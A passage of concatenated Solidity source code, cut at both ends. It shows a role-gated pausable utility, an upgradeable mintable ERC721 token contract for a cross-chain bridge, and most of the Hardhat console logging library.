hasRole(MANAGE_UPGRADES_ROLE, _msgSender()),
'MyPausableUpgradeable: must have MANAGE_UPGRADES_ROLE to execute this function'
);
}
/**
* @notice Pauses all contract functions that have the "whenNotPaused" modifier
*
* @dev can only be called by PAUSABILITY_ADMIN_ROLE
*/
function pause() external whenNotPaused {
require(
hasRole(PAUSABILITY_PAUSE_ROLE, _msgSender()),
'MyPausableUpgradeable: must have PAUSABILITY_PAUSE_ROLE to execute this function'
);
PausableUpgradeable._pause();
}
/**
* @notice Un-pauses/resumes all contract functions that have the "whenNotPaused" modifier
*
* @dev can only be called by PAUSABILITY_ADMIN_ROLE
*/
function unpause() external whenPaused {
require(
hasRole(PAUSABILITY_UNPAUSE_ROLE, _msgSender()),
'MyPausableUpgradeable: must have PAUSABILITY_UNPAUSE_ROLE to execute this function'
);
PausableUpgradeable._unpause();
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol';
import '../utils/MyPausableUpgradeable.sol';
/**
* @title MintableERC721
* This is the base contract for LP tokens that are created by the CrossChainBridgeERC721 contract
*/
contract MintableERC721 is ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable, MyPausableUpgradeable {
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
bytes32 public constant MANAGE_TOKEN_ROLE = keccak256('MANAGE_TOKEN_ROLE');
string private _internalBaseURI;
string private _customName;
string private _customSymbol;
/**
* @notice Initializer instead of constructor to have the contract upgradeable
*
* @dev can only be called once after deployment of the contract
* @param initName The name of the token to be created
* @param initSymbol The symbol of the token to be created
*/
function initialize(
string memory initName,
string memory initSymbol,
string memory baseURI
) external initializer {
// call parent initializers
__ERC721_init_unchained(initName, initSymbol); // must be called here since there is no such call in the parent contracts
__ERC721Enumerable_init();
__MyPausableUpgradeable_init();
// set up admin roles
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(MANAGE_TOKEN_ROLE, _msgSender());
_internalBaseURI = baseURI;
_customName = initName;
_customSymbol = initSymbol;
}
function burn(uint256 tokenId) external virtual whenNotPaused {
require(_isApprovedOrOwner(_msgSender(), tokenId), 'MintableERC721: caller is neither owner nor approved');
_burn(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721EnumerableUpgradeable, AccessControlUpgradeable, ERC721Upgradeable)
returns (bool)
{
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
function setBaseURI(string memory newBaseUri) external {
require(
hasRole(MANAGE_TOKEN_ROLE, _msgSender()),
'MintableERC721: must have MANAGE_TOKEN_ROLE to execute this function'
);
_internalBaseURI = newBaseUri;
}
function mint(address to, uint256 tokenId) public virtual whenNotPaused {
require(hasRole(MINTER_ROLE, _msgSender()), 'MintableERC721: must have MINTER_ROLE to execute this function');
_mint(to, tokenId);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721URIStorageUpgradeable, ERC721Upgradeable)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable) whenNotPaused {
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId)
internal
virtual
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
whenNotPaused
{
super._burn(tokenId);
}
function _baseURI() internal view override returns (string memory) {
return _internalBaseURI;
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
require(
hasRole(MANAGE_TOKEN_ROLE, _msgSender()),
'MintableERC721: must have MANAGE_TOKEN_ROLE to execute this function'
);
super._setTokenURI(tokenId, _tokenURI);
}
function setName(string memory newName) external {
require(
hasRole(MANAGE_TOKEN_ROLE, _msgSender()),
'MintableERC721: must have MANAGE_TOKEN_ROLE to execute this function'
);
_customName = newName;
}
function setSymbol(string memory newSymbol) external {
require(
hasRole(MANAGE_TOKEN_ROLE, _msgSender()),
'MintableERC721: must have MANAGE_TOKEN_ROLE to execute this function'
);
_customSymbol = newSymbol;
}
function name() public view override returns (string memory) {
return _customName;
}
function symbol() public view override returns (string memory) {
return _customSymbol;
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
super.safeTransferFrom(from, to, tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
